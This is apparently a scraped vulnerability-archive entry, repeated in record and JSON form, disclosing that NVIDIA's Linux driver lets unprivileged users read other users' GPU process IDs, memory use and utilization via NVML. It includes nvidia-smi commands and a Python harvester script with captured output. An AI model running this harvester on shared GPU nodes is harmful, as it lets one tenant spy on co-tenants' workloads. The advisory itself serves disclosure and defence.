nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-862",
"description": "CWE-862",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:10:24Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/77"
},
{
"url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/77"
],
"discovery": "EXTERNAL"
},
"title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2018-6260",
"type": "related"
},
{
"destId": "CVE-2021-1056",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0298",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77",
"automated": true,
"contentSha256": "eda9b97373cfa1b602256c1f71b15efde5a40742aa2d77e5e851378506b0282e",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/77",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T19:37:52Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0298"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T11:40:48Z",
"dateUpdated": "2026-09-09T10:10:24Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0298"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0082
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:10
VLAI
EPSS
VEX
Title
NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)
Summary
NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML
============================================================================
On a multi-user Linux GPU host where mutually untrusted users can open
the same /dev/nvidia* devices - the driver's default mode is 0666 - an
unprivileged user can enumerate another user's GPU processes and
per-process GPU telemetry through standard NVML management APIs. NVML
directly returned the foreign PID, the per-process GPU-memory
allocation and the SM utilization; nvidia-smi additionally displayed
the process path, but the corresponding direct
nvmlSystemGetProcessName() call was not captured. Measured on one
configuration: A100, MIG off, bare metal, two local UIDs. No root, no
gpu/video/render group membership, no capabilities, no CUDA context of
the attacker's own, no performance counters, no injected traffic, no
race. The attacker learns, for processes belonging to other users:
PID, per-process GPU memory allocation, per-process SM utilization,
and - via nvidia-smi - the binary path. Read-only workload metadata;
no GPU memory contents are read. NVIDIA reviewed the finding and
determined it is expected behavior.
Affected: NVIDIA Linux GPU driver, NVML management plane
Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9
(driver-reported runtime 13.2)
CWE: CWE-200 (exposure of information to an unauthorized actor),
CWE-862 (missing authorization)
Status: Closed by NVIDIA as expected behavior. No fix. Public
disclosure authorized by NVIDIA PSIRT 2026-08-20.
CVE: none assigned
Ref: Intigriti NVIDIA-W5AB0FZR
Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via
undocumented peer-teardown ordering" - same node, same driver, same
0666 precondition
Root Cause
----------
Two independent facts compound.
(a) /dev/nvidia* is mode 0666 by driver default. This is set by the
kernel module, not by a site udev rule.
# grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly'
/proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438
RmProfilingAdminOnly: 1
438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module
rewrites existing device files to match its own defaults, so an
administrator who tightens the mode out-of-band can have it reverted
on module reload. The vendor sources agree: open-gpu-kernel-modules
carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in
kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666
(octal, rw-rw-rw-)", and the driver README "Device files" section
documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing
device files are changed if their attributes don't match these
defaults."
(b) NVML management APIs apply no UID, cgroup, or capability check to
a caller holding that file descriptor. Any opener receives the
node-wide management view.
+------------------+ +-------------------+
| victim uid 1000 | | attacker uid 1011 |
| CUDA workload | | no groups, Cap=0 |
+--------+---------+ +---------+---------+
| |
| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)
v v
+-----------------------------------------------------------------------+
| nvidia.ko -> NVML management plane |
| |
| nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids |
| nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids |
| ^ |
| +--- no ownership check anywhere on this path|
+-----------------------------------------------------------------------+
NVML already has the concept of privilege-gating this exact call -
just not in ordinary shared-GPU mode. From nvml.h, on both
nvmlDeviceGetComputeRunningProcesses_v3 and
nvmlDeviceGetMPSComputeRunningProcesses_v3:
"In MIG mode, if device handle is provided, the API returns aggregate
information,
only if the caller has appropriate privileges."
So under MIG, process enumeration through the physical-device handle
is privilege-gated. Outside MIG there is no corresponding UID
ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3
documents NVML_ERROR_NO_PERMISSION in its return list and does not
return it here; nvmlDeviceGetProcessUtilization and
nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error
at all.
Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI
performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact
node - that gate was added as the fix for CVE-2018-6260. The NVML
per-process management plane received no equivalent gate. That
asymmetry is the finding.
Attacker Prerequisites
----------------------
A shell account on the node. The observer used for all captured runs:
uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)
CapInh: 0000000000000000 -> NONE
CapPrm: 0000000000000000 -> NONE
CapEff: 0000000000000000 -> NONE
CapAmb: 0000000000000000 -> NONE
CapBnd: 000001ffffffffff
No sudo. Not in sudo/wheel/admin/docker/video/gpu/render.
No Docker socket. Cannot load kernel modules. Cannot ptrace other
users' processes.
Proof of Concept
----------------
Victim, uid 1000 - any long-running CUDA workload. The captured runs
used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a
CUDA context works; this needs only pytorch:
python3 -c "import torch,time
x=torch.randn(8192,8192,device='cuda')
while True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)"
Attacker, uid 1011, via the shipped CLI:
nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory
--format=csv,noheader
nvidia-smi pmon -c 3
nvidia-smi nvlink -gt d
That first command, run by an unprivileged user with no group
membership, is the entire exploit. Everything below is the same read
straight through NVML. Captured output as uid 1011 against the uid
1000 victim:
pid, process_name, used_gpu_memory [MiB], gpu_uuid
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-fe44d319-939f-d747-de55-6802405cad8d
Full PoC code, harnesses and raw evidence for both findings:
<https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E>
Straight through NVML with no nvidia-smi involved. This is the complete exploit:
#!/usr/bin/env python3
# unprivileged cross-UID GPU telemetry harvester
# run as any local user: python3 harvest.py
# pip install nvidia-ml-py (provides the `pynvml` module; the standalone
# `pynvml` PyPI package is a deprecated shim as of v12)
import os, pwd, pynvml
def owner(pid):
try: return os.stat("/proc/%d" % pid).st_uid
except: return None
def exe(pid):
# Tries NVML first. NOTE: this direct call was not verified cross-UID here -
# see the note below the output. Falls back to cmdline, never to exe.
try:
n = pynvml.nvmlSystemGetProcessName(pid)
return n.decode() if isinstance(n, bytes) else n
except Exception:
# /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other
# users' command lines. /proc/<pid>/exe is NOT: readlink on it needs
# PTRACE_MODE_READ, which this attacker does not have.
try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode()
except: return "?"
def owner_name(u):
try: return pwd.getpwuid(u).pw_name
except KeyError: return str(u) # no passwd entry: LDAP, containers
pynvml.nvmlInit()
me = os.getuid()
found = 0
for i in range(pynvml.nvmlDeviceGetCount()):
h = pynvml.nvmlDeviceGetHandleByIndex(i)
# cross-UID process table + per-process GPU memory
for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):
u = owner(p.pid)
if u is not None and u != me:
found += 1
print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % (
i, p.pid, u, owner_name(u),
(p.usedGpuMemory or 0) >> 20, exe(p.pid)))
# cross-UID per-process SM / memory-controller utilization.
# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are
# returned, so a small constant drains everything the driver still buffers.
try:
for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):
u = owner(pu.pid)
if u is not None and u != me:
print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % (
i, pu.pid, u, pu.smUtil, pu.memUtil))
except pynvml.NVMLError as e:
# NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty,
# NOT that the call is gated. Poll for a few seconds and retry.
print(" nvmlDeviceGetProcessUtilization -> %s" % e)
# device-global telemetry, no gate at all
print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % (
i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,
pynvml.nvmlDeviceGetUtilizationRates(h).gpu,
pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20))
if not found:
print("no cross-UID GPU processes visible (is a victim workload running?)")
Output:
[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%
NVML supplies the PID and the GPU memory figure. The binary path came
from nvidia-smi --query-compute-apps=process_name, which is
NVML-backed and returned the full path /usr/local/bin/all_reduce_perf
to the unprivileged observer - that output is captured. The direct
call, nvmlSystemGetProcessName(), is what the PoC above uses and it is
NOT something I captured cross-UID; NVML documents
NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather
than taking it from me. The captured harness resolved names through
/proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you
fall back to procfs use /proc/<pid>/cmdline, not exe. The only field
procfs is needed for is the owning UID, via stat() on /proc/<pid>.
Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim
SM utilization time series. What that supports on the evidence here is
busy-versus-idle and job start/stop. Finer structure - step cadence,
phase boundaries - is plausible but was not demonstrated, and I do not
claim it.
Results: 5/5 positive sessions with all seven machine-scored success
criteria passing, and 2/2 negative controls (no victim workload, no
cross-UID records) confirming the signal tracks the victim. For every
compute-app row root could see, the unprivileged observer saw a
matching row - same PID, same binary name, same GPU - in all five
positive sessions. That comparison is field-level (whitespace and row
order normalized, process name compared by basename), not a byte diff.
All channels leak with GPU accounting mode disabled, which is the
fresh default, so this is not a case of an administrator having
enabled accounting.
Telemetry Channels
------------------
Channel NVML API CLI Result
----------------------------- ---------------------------------------
---------------------- --------------------------
Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps
LEAKS (redundant with ps)
Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS
(captured); direct
(nvmlSystemGetProcessName NOT captured) NVML call unverified
Per-process GPU memory nvmlDeviceGetComputeRunningProcesses
--query-compute-apps LEAKS - GPU-specific
Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS
- GPU-specific
NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink
-gt d LEAKS via CLI - prior art
NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS
Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)
Impact
------
A low-privileged tenant on a shared HPC or AI node passively monitors
co-tenants in real time: who is running GPU work, which binary, the
GPU memory footprint (a model-size proxy), the SM utilization timeline
(training and idle cadence, step rate, job boundaries), and NVLink
pair activity (distributed job topology).
No computation content is read - no weights, a
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Nvidia | NVIDIA Linux GPU |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "NVIDIA Linux GPU",
"vendor": "Nvidia",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-862",
"description": "CWE-862",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:10:24Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/77"
},
{
"url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/77"
],
"discovery": "EXTERNAL"
},
"title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0082",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77",
"automated": true,
"contentSha256": "eda9b97373cfa1b602256c1f71b15efde5a40742aa2d77e5e851378506b0282e",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/77",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T19:37:52Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
